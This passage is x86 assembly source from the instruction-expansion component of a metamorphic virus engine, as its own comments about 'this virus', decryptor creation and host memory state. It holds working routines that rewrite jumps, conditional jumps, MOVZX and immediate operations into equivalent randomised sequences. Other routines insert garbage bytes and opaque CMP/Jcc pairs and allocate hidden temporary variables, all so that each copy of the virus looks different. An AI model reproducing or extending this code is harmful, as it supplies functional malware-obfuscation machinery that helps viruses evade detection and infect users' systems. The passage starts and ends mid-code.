call Xp_GenJMPMem ; Make a JMP [TempVar]
|
|
call Xp_RestoreOperation ; Generate some not-reachable
|
|
jmp Xp_EndJmp ; garbage
|
|
@@Double_1: call Xp_GenPUSHReg ; Make PUSH Reg + RET
|
|
call Xp_GenRET
|
|
jmp Xp_EndJmp
|
|
|
|
@@Single: mov eax, 0EDh ; Make the JMP Reg directly
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
jmp Xp_EndJmp ; Make some garbage
|
|
Xp_GenJMPReg endp
|
|
|
|
;; Generate a JMP [Mem]
|
|
Xp_GenJMPMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
call Xp_SaveOperation
|
|
call Xp_GenPUSHMem ; Make PUSH Mem
|
|
call Xp_GetTempVar
|
|
call Xp_GenPOPMem ; Make POP Mem
|
|
call Xp_GenJMPMem ; Make JMP Mem
|
|
call Xp_RestoreOperation
|
|
jmp Xp_EndJmp ; Generate some garbage
|
|
|
|
@@Single: mov eax, 0EBh ; Code the JMP Mem directly
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
add edi, 10h
|
|
jmp Xp_EndJmp
|
|
Xp_GenJMPMem endp
|
|
|
|
;; This function generates a JMP @xxx or a group of instructions that make
|
|
;; the same, like CMP Reg,Reg/JZ @xxx.
|
|
Xp_GenJMP proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single ; Increase the recurse level and make the JMP
|
|
; directly if we are too deep in recursivity
|
|
mov eax, [ebp+AddressOfLastInstruction]
|
|
sub eax, 10h
|
|
cmp eax, esi ; Check if we are making the last instrc.
|
|
jz @@Single ; If so, code it directly
|
|
call Random
|
|
and eax, 7 ; Make a complex JMP with a prob. of 1/8
|
|
or eax, eax
|
|
jnz @@Single
|
|
@@Double_Other:
|
|
call Random ; Now select the type of complext JMP we
|
|
and eax, 3 ; are going to make.
|
|
or eax, eax
|
|
jz @@Double_Other
|
|
cmp eax, 1 ; Make Jcc(even) + Jcc(odd) or vicev.
|
|
jz @@Double_JccJcc
|
|
cmp eax, 2 ; Make CMP + Jcc
|
|
jz @@Double_CMPJcc
|
|
; Let's do Jcc + Jcc (2nd version)
|
|
mov edx, 73h
|
|
mov ecx, 76h
|
|
@@Double_JccJcc2:
|
|
call Random
|
|
or eax, eax ; Make a random selection of two
|
|
jz @@Double_JccJcc2_Next ; types of conditional jumps from
|
|
mov edx, 75h ; the set JAE, JBE, JNZ: any
|
|
@@Double_JccJcc2_Next: ; combination of two of these
|
|
call RandomBoolean ; types one after another will
|
|
or eax, eax ; perform an unconditional JMP.
|
|
jz @@Double_JccJcc2_Next02
|
|
mov eax, edx ; Exchange them randomly
|
|
mov edx, ecx
|
|
mov ecx, eax
|
|
@@Double_JccJcc2_Next02:
|
|
call Xp_SaveOperation
|
|
push ecx ; Set the first Jcc (EDX)
|
|
mov [ebp+Xp_Operation], edx
|
|
|
|
call Xp_GenJcc_SingleJcc ; Make a direct Jcc
|
|
pop ecx ; Set the second Jcc (ECX)
|
|
mov [ebp+Xp_Operation], ecx
|
|
call Xp_GenJcc_SingleJcc ; Make the direct Jcc
|
|
call Xp_RestoreOperation
|
|
jmp @@InsertStopMark ; Since there aren't branch-end
|
|
; instructions (although when executed they
|
|
; will never pass beyond), we must insert
|
|
; a branch-end instruction to force the
|
|
; disassembler to stop the branch of code.
|
|
@@Double_CMPJcc:
|
|
call Xp_SaveOperation ; Let's make a CMP Reg,Reg/Jcc
|
|
mov eax, 38h
|
|
mov [ebp+Xp_Operation], eax
|
|
@@Double_CMPJcc_x:
|
|
call Random ; Get a register to compare
|
|
and eax, 7
|
|
cmp eax, 4 ; Don't play with ESP!
|
|
jz @@Double_CMPJcc_x
|
|
mov [ebp+Xp_Register], eax ; Set source and destiny
|
|
mov [ebp+Xp_SrcRegister], eax ; register as the same
|
|
xor eax, eax ; Set a size of 32 bits
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPRegReg ; Construct the comparision instrc.
|
|
call Xp_GetSpecialJcc ; Get a Jcc that is prepared for
|
|
@@Double_CMPJcc_Common: ; this type of operation
|
|
xor eax, 1 ; Invert the last bit, since the
|
|
mov [ebp+Xp_Operation], eax ; returned Jcc is prepared
|
|
; to make a NOP operation.
|
|
call Xp_GenJcc_SingleJcc ; Make the Jcc as a single ins.
|
|
call Xp_RestoreOperation
|
|
jmp @@InsertStopMark ; Set a stop mark.
|
|
@@Double_JccJcc:
|
|
call Xp_SaveOperation ; Other type of a pair of Jccs that
|
|
call Random ; always jump: any conditional jump
|
|
and eax, 0Fh ; with even opcode has its opposite
|
|
add eax, 70h ; in the same opcode but setting last
|
|
mov [ebp+Xp_Operation], eax ; bit to 1. So, we select a
|
|
push eax ; random conditional jump, we
|
|
call Xp_GenJcc_SingleJcc ; insert it, and after that we
|
|
pop eax ; insert the same Jcc but with the
|
|
jmp @@Double_CMPJcc_Common ; bit 0 inversed. Example:
|
|
; JZ @xxx + JNZ @xxx
|
|
; JB @xxx + JAE @xxx
|
|
@@Single: mov eax, 0E9h ; The jump directly.
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
Xp_EndJmp:
|
|
call Random ; Now make garbage bytes with a prob.
|
|
and eax, 3 ; of 1/4
|
|
or eax, eax
|
|
jnz Xp_DecreaseRecurseLevel
|
|
call Random ; Make a quantity of bytes from 1 to 8
|
|
and eax, 7
|
|
add eax, 1
|
|
mov ecx, eax
|
|
@@LoopInsert:
|
|
call Random ; Get a random byte
|
|
mov al, 0FDh ; Set FD pseudoopcode (it means "insert
|
|
mov [edi], eax ; this byte directly into the code").
|
|
add edi, 10h
|
|
sub ecx, 1
|
|
or ecx, ecx ; Repeat it the random number that we
|
|
jnz @@LoopInsert ; got before
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
;; Let's insert an instruction that acts as a stop mark for the code branch.
|
|
;; This is necessary because if we code a jump as a CMP Reg,Reg / JZ @xxx,
|
|
;; the disassembler will continue tracing the code after the JZ (it's just
|
|
;; a conditional jump, not an unconditional one). So, we must set a "release"
|
|
;; mark that makes the disassembler to stop processing this line of code: RET,
|
|
;; JMP Reg or JMP Mem.
|
|
@@InsertStopMark:
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax ; 0?
|
|
jz @@InsertStopMark ; Then select another number
|
|
cmp eax, 1
|
|
jz @@GenerateRET ; Make RET
|
|
cmp eax, 2
|
|
jz @@GenerateJMPMem ; Make JMP Mem
|
|
; Make a JMP Reg. We don't care where it goes, since it's never
|
|
; going to be executed.
|
|
@@GenerateJMPReg:
|
|
call Xp_SaveOperation
|
|
call Random ; Get a random register
|
|
and eax, 7 ; Set it
|
|
mov [ebp+Xp_Register], eax
|
|
xor eax, eax ; Mark 32 bits size
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenJMPReg ; Generate a JMP Reg
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
; Make a JMP [Mem]
|
|
@@GenerateJMPMem:
|
|
call Xp_SaveOperation ; Allocate a temporary variable
|
|
call Xp_GetTempVar
|
|
; mov eax, [ebp+Xp_Immediate] ; Something that I did and
|
|
; and eax, 0FFFF00FFh ; I don't remember why... :?
|
|
; mov [ebp+Xp_Immediate], eax
|
|
call Xp_GenJMPMem ; Generate a JMP Mem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@GenerateRET:
|
|
call Xp_GenRET ; Generate a RET
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenJMP endp
|
|
|
|
;; This function generates a conditional jump directly or composed. Here we
|
|
;; use all the variants the shrinker is capable to shrink (obviously, because
|
|
;; if not this jumps would never be compressed).
|
|
Xp_GenJcc proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 2 ; Code the composed jumps only on the first
|
|
jae @@Single ; levels of recursivity
|
|
call Random
|
|
and eax, 3 ; Make it directly with a prob. of 75%
|
|
or eax, eax
|
|
jnz @@Single
|
|
@@Double: call Random
|
|
and eax, 0Fh
|
|
or eax, eax ; Get a chance of 1/16
|
|
jnz @@Double2 ; If the odds selected the other 15/16,
|
|
; make a normal double
|
|
mov eax, 1 ; Mark the conditional jump as being
|
|
mov [edi+7], eax ; coded as NEG_Jcc + JMP. For example:
|
|
call @@InternalSingle2 ; JZ @x --> JNZ @y/JMP @x/ @y:
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
@@Double2: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 73h ; JAE?
|
|
jz @@Double_JAE
|
|
cmp eax, 75h ; JNZ?
|
|
jz @@Double_JNZ
|
|
cmp eax, 76h ; JBE?
|
|
jnz @@Single
|
|
@@Double_JBE:
|
|
mov ebx, 72h ; If JBE, we can select any pair from
|
|
mov ecx, 74h ; the set JB,JZ,JBE and we'll making a JBE
|
|
mov edx, 76h
|
|
jmp @@Double_GarbleAndSelect
|
|
@@Double_JNZ:
|
|
mov ebx, 72h ; If JNZ, we can select a pair from the
|
|
mov ecx, 75h ; set JB,JNZ,JA
|
|
mov edx, 77h
|
|
jmp @@Double_GarbleAndSelect
|
|
@@Double_JAE:
|
|
mov ebx, 73h ; If JAE, the set to select is JAE,JZ,JA
|
|
mov ecx, 74h
|
|
mov edx, 77h
|
|
@@Double_GarbleAndSelect:
|
|
call Xp_GarbleRegisters ; Get ramdomly two from that set.
|
|
call Xp_SaveOperation
|
|
push ecx
|
|
mov [ebp+Xp_Operation], edx ; Generate the first Jcc
|
|
call @@InternalSingle
|
|
pop ecx
|
|
mov [ebp+Xp_Operation], ecx ; Generate the second Jcc
|
|
call @@InternalSingle
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: call @@InternalSingle ; Make it single
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
Xp_GenJcc_SingleJcc:
|
|
@@InternalSingle:
|
|
xor eax, eax ; For singles, we mark the Jcc as
|
|
mov [edi+7], eax ; not being NEG_Jcc/JMP
|
|
@@InternalSingle2:
|
|
mov eax, [ebp+Xp_Operation] ; Code the instruction
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
ret
|
|
Xp_GenJcc endp
|
|
|
|
;; This function is to generate a MOVZX. We have three variants: the MOVZX
|
|
;; itself, MOV Reg,[Mem]/AND Reg,0FF or MOV Reg,0/MOV Reg8,[Mem]
|
|
Xp_GenMOVZX proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call RandomBoolean ; Single?
|
|
or eax, eax
|
|
jz @@Single ; Then, jump
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Double_1 ; Pair 1 or pair 2?
|
|
@@Double_2:
|
|
xor eax, eax ; First construct the MOV Reg,[Mem]
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegMem ; Generate the operation
|
|
xor eax, eax ; And now make AND Reg,0FFh
|
|
mov [ebp+Xp_8Bits], eax
|
|
mov eax, 20h
|
|
mov [ebp+Xp_Operation], eax
|
|
mov eax, 0FFh
|
|
mov [ebp+Xp_Immediate], eax
|
|
call Xp_GenOPRegImm ; Generate the operation
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Double_1:
|
|
mov eax, [ebp+Register8Bits]
|
|
call Xpand_TranslateRegister
|
|
mov ebx, [ebp+Xp_Register]
|
|
cmp eax, ebx
|
|
jnz @@Double_2
|
|
mov eax, 40h ; Make first a MOV Reg,0
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_Immediate], eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPRegImm
|
|
mov eax, 80h ; And now make a MOV Reg8,[Mem]
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPRegMem
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single:
|
|
mov eax, 0F8h ; Code directly the instruction.
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenMOVZX endp
|
|
|
|
;; Function to make the SET_WEIGHT code mark.
|
|
Xp_MakeSET_WEIGHT proc
|
|
call Xp_SaveOperation
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPUSHReg
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegImm
|
|
call Xp_RestoreOperation
|
|
mov eax, [ebp+Xp_Immediate]
|
|
or eax, eax
|
|
jz @@ReadWeightIdent0
|
|
cmp eax, 1
|
|
jz @@ReadWeightIdent1
|
|
cmp eax, 2
|
|
jz @@ReadWeightIdent2
|
|
cmp eax, 3
|
|
jz @@ReadWeightIdent3
|
|
cmp eax, 4
|
|
jz @@ReadWeightIdent4
|
|
@@ReadWeightIdent5:
|
|
mov eax, [ebp+Weight_X020_23]
|
|
jmp @@SetWeight
|
|
@@ReadWeightIdent0:
|
|
mov eax, [ebp+Weight_X000_3]
|
|
jmp @@SetWeight
|
|
@@ReadWeightIdent1:
|
|
mov eax, [ebp+Weight_X004_7]
|
|
jmp @@SetWeight
|
|
@@ReadWeightIdent2:
|
|
mov eax, [ebp+Weight_X008_11]
|
|
jmp @@SetWeight
|
|
@@ReadWeightIdent3:
|
|
mov eax, [ebp+Weight_X012_15]
|
|
jmp @@SetWeight
|
|
@@ReadWeightIdent4:
|
|
mov eax, [ebp+Weight_X016_19]
|
|
@@SetWeight:
|
|
mov [ebp+Xp_Immediate], eax
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegImm
|
|
|
|
call Xp_GenOPMemReg
|
|
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [ebp+Xp_Register], eax
|
|
call Xp_GenPOPReg
|
|
ret
|
|
Xp_MakeSET_WEIGHT endp
|
|
|
|
|
|
;;; ------------------------------------------------
|
|
;;;
|
|
|
|
;; Now these are helper functions. They are used from other parts of the
|
|
;; engine, not only by the expander.
|
|
;; This function is an optimization of how we cam make in little code a
|
|
;; permutation of three registers in a way that every possible combination
|
|
;; is present, and moreover all them have the same probability of appear.
|
|
;; The theory is that there are 6 possible permutations for a set of three
|
|
;; values (in this case EBX, ECX and EDX). Then, following the code, you'll
|
|
;; see that the permutation is made by:
|
|
;;
|
|
;; 1) Randomly decide if goto 3)
|
|
;; 2) Exchange 1st and 2nd OR Exchange 1st and 3rd (always)
|
|
;; 3) Decide if we exchange 2nd and 3rd. Do it or not.
|
|
Xp_GarbleRegisters proc
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz Xp_GarbleRegisters
|
|
cmp eax, 1
|
|
jz @@Permutation0
|
|
cmp eax, 2
|
|
jz @@Permutation1
|
|
@@Permutation2:
|
|
mov eax, ebx
|
|
mov ebx, edx
|
|
mov edx, eax ; XCHG EBX,EDX
|
|
jmp @@Permutation0
|
|
@@Permutation1:
|
|
mov eax, ebx
|
|
mov ebx, ecx
|
|
mov ecx, eax ; XCHG EBX,ECX
|
|
@@Permutation0:
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Return
|
|
@@Permutation0_0:
|
|
mov eax, edx
|
|
mov edx, ecx
|
|
mov ecx, eax ; XCHG ECX,EDX
|
|
@@Return: ret
|
|
Xp_GarbleRegisters endp
|
|
|
|
;; Get an special conditional jump. The jump obtained here is specially
|
|
;; selected to be used for CMP Reg,Reg/Jcc @x pairs. The direct result from
|
|
;; this instruction will make that the conditional jump never occurs, while
|
|
;; if we inverse the bit 0 of the Jcc returned we'll make that the Jcc
|
|
;; always jump.
|
|
;; The algorithm here is a hard optimization to select one of that types of
|
|
;; jumps. The jumps that act like a NOP are JO/JB/JNZ/JA/JS/JNP/JL/JG, while
|
|
;; the ones that always jump are JNO/JAE/JZ/JBE/JNS/JP/JGE/JLE. We are going
|
|
;; to use only the NOP ones. The opcodes in number are:
|
|
;;
|
|
;; 70,72,75,77,78,7B,7C,7F
|
|
;;
|
|
;; So these are the only values we can return. We pass them to binary (only
|
|
;; the low nibble):
|
|
;;
|
|
;; 0000,0010,0101,0111,1000,1011,1100,1111
|
|
;;
|
|
;; And we see that the values are repeated in a certain way. Let's join them
|
|
;; in groups:
|
|
;; 0000 1000 0 00 0 1 00 0
|
|
;; 0010 1011 0 01 0 1 01 1
|
|
;; 0101 1100 --> 0 10 1 1 10 0
|
|
;; 0111 1111 0 11 1 1 11 1
|
|
;;
|
|
;; The numbers are the same, excepting by the high bit and the low one.
|
|
;; Now, just notice that when the high bit is clear the lowest bit is the
|
|
;; same than the bit 2, and when the high bit is set the lowest bit is equal
|
|
;; to the bit 1. Then, what we do is to copy the bit 2 or 1 to the bit 0
|
|
;; depending if bit 3 is 0 or 1. Just what we do below.
|
|
Xp_GetSpecialJcc proc
|
|
push ebx
|
|
call Random
|
|
mov ebx, eax ; Copy the random in EBX
|
|
and eax, 0Eh ; Get a random number from 00 to 0E (even)
|
|
cmp eax, 8 ; High bit active?
|
|
jae @@Next ; Then only shift EBX once
|
|
shr ebx, 1
|
|
@@Next: shr ebx, 1
|
|
and ebx, 1 ; Get the resulting last bit
|
|
add eax, ebx ; Add it to the random from 00 to 0E
|
|
add eax, 70h ; Convert it to Jcc
|
|
pop ebx
|
|
ret
|
|
Xp_GetSpecialJcc endp
|
|
|
|
;; This function will take the operation to perform (in an OP Reg/Mem,Imm
|
|
;; operation) and will calculate a pair of operation that do the same with
|
|
;; a new Imm value for each one. The MOV has the most variated results, and
|
|
;; there are others that can't be decomposed, such SUB.
|
|
;; The decomposition is done in the following way for every case. I had to
|
|
;; deduce each formula (concretely for OR and AND) from scratch, so maybe
|
|
;; there are others better, but I didn't find them. Maybe the formulas
|
|
;; below aren't correct: that's because I coded it, optimize it, and I didn't
|
|
;; remember to write down the process, so I have to re-deduce them :).
|
|
;;
|
|
;; Taking Rnd1, Rnd2 as random numbers, and Imm as the destiny value:
|
|
;; MOV:
|
|
;; MOV Rnd1, ADD Imm-Rnd1
|
|
;; MOV Rnd1&Imm, OR ((Rnd2 & Imm)^(Rnd1 & Imm))|(Rnd2 & Imm)
|
|
;; MOV (Rnd2 & NOT(Rnd1))|Imm, AND (Rnd1 | Imm) (1)
|
|
;; MOV NOT(Rnd1)|Imm, AND Rnd1|Imm (2)
|
|
;; MOV Rnd1, XOR Rnd1^Imm
|
|
;;
|
|
;; ADD:
|
|
;; ADD Rnd1, ADD Imm-Rnd1
|
|
;; OR:
|
|
;; OR Rnd1&Imm, OR ((Rnd1&Imm)^Imm)|(Imm&Rnd2)
|
|
;; AND:
|
|
;; AND Imm|Rnd1, AND Imm|NOT(Rnd1)
|
|
;; XOR:
|
|
;; XOR Rnd1, XOR Imm^Rnd1
|
|
;;
|
|
Xp_MakeComposedOPImm proc
|
|
call Xp_SaveOperation
|
|
call Random
|
|
mov ebx, eax ; Get a random number in EBX
|
|
mov edx, [ebp+Xp_Immediate] ; Get the Imm in EDX
|
|
mov eax, [ebp+Xp_Operation] ; Get the operation
|
|
or eax, eax
|
|
jz @@Double_OP_ADD ; ADD?
|
|
cmp eax, 8
|
|
jz @@Double_OP_OR ; OR?
|
|
cmp eax, 20h
|
|
jz @@Double_OP_AND ; AND?
|
|
cmp eax, 30h
|
|
jz @@Double_OP_XOR ; XOR?
|
|
cmp eax, 40h
|
|
jnz @@Return_Error
|
|
@@Double_OP_MOV: ; MOV?
|
|
call Random
|
|
and eax, 7
|
|
or eax, eax
|
|
jz @@Double_OP_MOV_ADD ; MOV + ADD
|
|
cmp eax, 1
|
|
jz @@Double_OP_MOV_OR ; MOV + OR
|
|
cmp eax, 2
|
|
jz @@Double_OP_MOV_AND ; MOV + AND
|
|
cmp eax, 3
|
|
jz @@Double_OP_MOV_XOR ; MOV + XOR
|
|
cmp eax, 4
|
|
jnz @@Double_OP_MOV ; MOV only
|
|
@@Double_OP_MOV_MOV:
|
|
mov eax, [ebp+Xp_FlagRegOrMem]
|
|
or eax, eax
|
|
jz @@Double_OP_MOV_MOV_MakeReg
|
|
call Xp_GenOPMemImm
|
|
jmp @@Return_NoError
|
|
@@Double_OP_MOV_MOV_MakeReg:
|
|
call Xp_GenOPRegImm
|
|
jmp @@Return_NoError
|
|
|
|
@@Double_OP_MOV_ADD: ; Calculate the two Imms for
|
|
sub edx, ebx ; MOV + ADD
|
|
xor ecx, ecx
|
|
jmp @@Double_OP_MOV_OP
|
|
@@Double_OP_MOV_OR:
|
|
and ebx, edx ; Calculate the two Imms for
|
|
call Random ; MOV + OR
|
|
and eax, edx
|
|
xor edx, ebx
|
|
or edx, eax
|
|
mov ecx, 8
|
|
jmp @@Double_OP_MOV_OP
|
|
@@Double_OP_MOV_AND:
|
|
call RandomBoolean ; Calculate the two Imms for
|
|
or eax, eax ; MOV + AND (two different
|
|
jz @@Double_OP_MOV_AND_2 ; methods)
|
|
call Random
|
|
not ebx
|
|
and eax, ebx
|
|
not ebx
|
|
mov ecx, eax
|
|
or ecx, edx
|
|
or edx, ebx
|
|
mov ebx, ecx
|
|
mov ecx, 20h
|
|
jmp @@Double_OP_MOV_OP
|
|
@@Double_OP_MOV_AND_2:
|
|
mov ecx, ebx
|
|
not ecx
|
|
or ecx, edx
|
|
or edx, ebx
|
|
mov ebx, ecx
|
|
mov ecx, 20h
|
|
jmp @@Double_OP_MOV_OP
|
|
@@Double_OP_MOV_XOR: ; Calculate the two Imms for XOR
|
|
xor edx, ebx
|
|
mov ecx, 30h
|
|
@@Double_OP_MOV_OP: ; Make the two instructions:
|
|
push ecx
|
|
push edx
|
|
mov eax, 40h ; Generate a MOV Reg/Mem,Imm1
|
|
mov [ebp+Xp_Operation], eax
|
|
mov [ebp+Xp_Immediate], ebx
|
|
mov eax, [ebp+Xp_FlagRegOrMem]
|
|
or eax, eax
|
|
jz @@Double_OP_MOV_OP_MakeReg
|
|
call Xp_GenOPMemImm
|
|
pop edx
|
|
pop ecx ; Generate an OP Mem,Imm2
|
|
mov [ebp+Xp_Operation], ecx
|
|
mov [ebp+Xp_Immediate], edx
|
|
call Xp_GenOPMemImm
|
|
jmp @@Return_NoError
|
|
@@Double_OP_MOV_OP_MakeReg:
|
|
call Xp_GenOPRegImm
|
|
pop edx ; Generate an OP Reg,Imm2
|
|
pop ecx
|
|
mov [ebp+Xp_Operation], ecx
|
|
mov [ebp+Xp_Immediate], edx
|
|
call Xp_GenOPRegImm
|
|
jmp @@Return_NoError
|
|
|
|
@@Double_OP_ADD:
|
|
sub edx, ebx ; Calculate the 2nd Imm for ADD
|
|
jmp @@Double_OP_OP
|
|
@@Double_OP_OR:
|
|
and ebx, edx ; Calculate the two Imms for OR+OR
|
|
mov ecx, edx
|
|
xor edx, ebx
|
|
call Random
|
|
and ecx, eax
|
|
or edx, ecx
|
|
jmp @@Double_OP_OP
|
|
@@Double_OP_AND:
|
|
mov ecx, ebx ; Calculate the two Imms for AND+AND
|
|
or ebx, edx
|
|
not ecx
|
|
or edx, ecx
|
|
jmp @@Double_OP_OP
|
|
@@Double_OP_XOR:
|
|
xor edx, ebx ; Calculate the two Imms for XOR+XOR
|
|
@@Double_OP_OP:
|
|
push edx ; Make OP Mem/Reg,Imm1 + OP Mem/Reg,Imm2
|
|
mov [ebp+Xp_Immediate], ebx
|
|
mov eax, [ebp+Xp_FlagRegOrMem]
|
|
or eax, eax
|
|
jz @@Double_OP_OP_MakeReg
|
|
call Xp_GenOPMemImm ; Make OP Mem,Imm1
|
|
pop edx
|
|
mov [ebp+Xp_Immediate], edx
|
|
call Xp_GenOPMemImm ; Make OP Mem,Imm2
|
|
jmp @@Return_NoError
|
|
@@Double_OP_OP_MakeReg:
|
|
call Xp_GenOPRegImm ; Make OP Reg,Imm1
|
|
pop edx
|
|
mov [ebp+Xp_Immediate], edx
|
|
call Xp_GenOPRegImm ; Make OP Reg,Imm2
|
|
@@Return_NoError:
|
|
call Xp_RestoreOperation
|
|
xor eax, eax
|
|
ret
|
|
@@Return_Error:
|
|
call Xp_RestoreOperation
|
|
mov eax, 1
|
|
ret
|
|
Xp_MakeComposedOPImm endp
|
|
|
|
;; This function increases the recursivity level and returns the result in
|
|
;; EAX (as a side level :).
|
|
Xp_IncreaseRecurseLevel proc
|
|
mov eax, [ebp+Xp_RecurseLevel]
|
|
add eax, 1
|
|
mov [ebp+Xp_RecurseLevel], eax
|
|
ret
|
|
Xp_IncreaseRecurseLevel endp
|
|
|
|
;; This function restores the previous saved operation and decreases the
|
|
;; recursivity level previously increased.
|
|
Xp_RestoreOpAndDecreaseRecurseLevel proc
|
|
call Xp_RestoreOperation
|
|
Xp_RestoreOpAndDecreaseRecurseLevel endp ; No return! Continue directly
|
|
; to the next function
|
|
|
|
;; This is an entrypoint for decreasing only the recursivity level (with no
|
|
;; function restoration).
|
|
Xp_DecreaseRecurseLevel proc
|
|
mov eax, [ebp+Xp_RecurseLevel]
|
|
sub eax, 1
|
|
mov [ebp+Xp_RecurseLevel], eax
|
|
ret
|
|
Xp_DecreaseRecurseLevel endp
|
|
|
|
;; This code copies the indexes and the addition of the current used memory
|
|
;; address to the appropiated fields of the current instruction at <EDI>.
|
|
Xp_CopyMemoryReference proc
|
|
mov eax, [ebp+Xp_Mem_Index1]
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Xp_Mem_Index2]
|
|
mov [edi+2], eax
|
|
mov eax, [ebp+Xp_Mem_Addition]
|
|
mov [edi+3], eax
|
|
ret
|
|
Xp_CopyMemoryReference endp
|
|
|
|
;; Function to save the current operation into the stack
|
|
Xp_SaveOperation proc
|
|
pop ebx ; Return address
|
|
mov eax, [ebp+Xp_Operation]
|
|
push eax ; Save all the values of
|
|
mov eax, [ebp+Xp_Mem_Index1] ; the current operation
|
|
push eax
|
|
mov eax, [ebp+Xp_Mem_Index2]
|
|
push eax
|
|
mov eax, [ebp+Xp_Mem_Addition]
|
|
push eax
|
|
mov eax, [ebp+Xp_Register]
|
|
push eax
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
push eax
|
|
mov eax, [ebp+Xp_Immediate]
|
|
push eax
|
|
mov eax, [ebp+Xp_8Bits]
|
|
push eax
|
|
push ebx ; Push again the return address
|
|
ret
|
|
Xp_SaveOperation endp
|
|
|
|
;; Function to restore the current operation from the stack
|
|
Xp_RestoreOperation proc
|
|
pop ebx ; Return address
|
|
pop eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
pop eax ; Restore all the values
|
|
mov [ebp+Xp_Immediate], eax ; previously stored in the
|
|
pop eax ; stack
|
|
mov [ebp+Xp_SrcRegister], eax
|
|
pop eax
|
|
mov [ebp+Xp_Register], eax
|
|
pop eax
|
|
mov [ebp+Xp_Mem_Addition], eax
|
|
pop eax
|
|
mov [ebp+Xp_Mem_Index2], eax
|
|
pop eax
|
|
mov [ebp+Xp_Mem_Index1], eax
|
|
pop eax
|
|
mov [ebp+Xp_Operation], eax
|
|
push ebx
|
|
ret
|
|
Xp_RestoreOperation endp
|
|
|
|
;; Allocate a temporary variable. The variable is marked in the memory section
|
|
;; dedicated to that marks, to avoid its reusing. Since we have a data section
|
|
;; of 128 Kb, we have 16384 temporary variables to use (more than sufficient
|
|
;; for this virus). If what we are doing is expanding a decryptor code, then
|
|
;; we only use the first 4 Kb of the memory frame (the memory that we'll have
|
|
;; available in the host).
|
|
Xp_GetTempVar proc
|
|
push edx
|
|
call Random
|
|
mov edx, eax ; Get a random number
|
|
@@VariableCheck:
|
|
and edx, 1FFF8h ; Mask the value
|
|
mov eax, [ebp+CreatingADecryptor]
|
|
or eax, eax ; If we are making a decryptor, then
|
|
jz @@Normal1 ; we only get variables from the
|
|
and edx, 00FF8h ; first 4 Kb and avoiding the first
|
|
cmp edx, 20h ; 32 bytes (used by the decryptor
|
|
jb @@Add20 ; for making its operations) and the
|
|
cmp edx, 0F00h ; last 100h bytes (a random offset
|
|
jb @@Normal1 ; that we set at decryptor creation)
|
|
xor edx, edx
|
|
@@Add20: add edx, 20h
|
|
@@Normal1: add edx, [ebp+VarMarksTable]
|
|
mov eax, [edx] ; Look if it's already marked.
|
|
or eax, eax ; If it is, Get the next one and
|
|
jz @@VariableFound ; look again.
|
|
sub edx, [ebp+VarMarksTable]
|
|
add edx, 8
|
|
jmp @@VariableCheck
|
|
@@VariableFound: ; When we find an unallocated one,
|
|
mov eax, 1 ; we mark it.
|
|
mov [edx], eax
|
|
sub edx, [ebp+VarMarksTable]
|
|
call Random ; Now we get an internal random
|
|
and eax, 3 ; offset from 0 to 3 and we add it
|
|
add edx, eax ; to the address.
|
|
mov eax, [ebp+CreatingADecryptor]
|
|
or eax, eax
|
|
jz @@Normal2 ; If we are making a decryptor, we
|
|
add edx, [ebp+Decryptor_DATA_SECTION] ; set no_reg as
|
|
mov [ebp+Xp_Mem_Addition], edx ; index register.
|
|
mov eax, 8 ; If not, we translate
|
|
jmp @@Continue ; the delta register and
|
|
@@Normal2: add edx, [ebp+New_DATA_SECTION] ; we set it, so the var
|
|
mov [ebp+Xp_Mem_Addition], edx ; is [DLT_REG+xxx]
|
|
mov eax, [ebp+DeltaRegister]
|
|
call Xpand_TranslateRegister
|
|
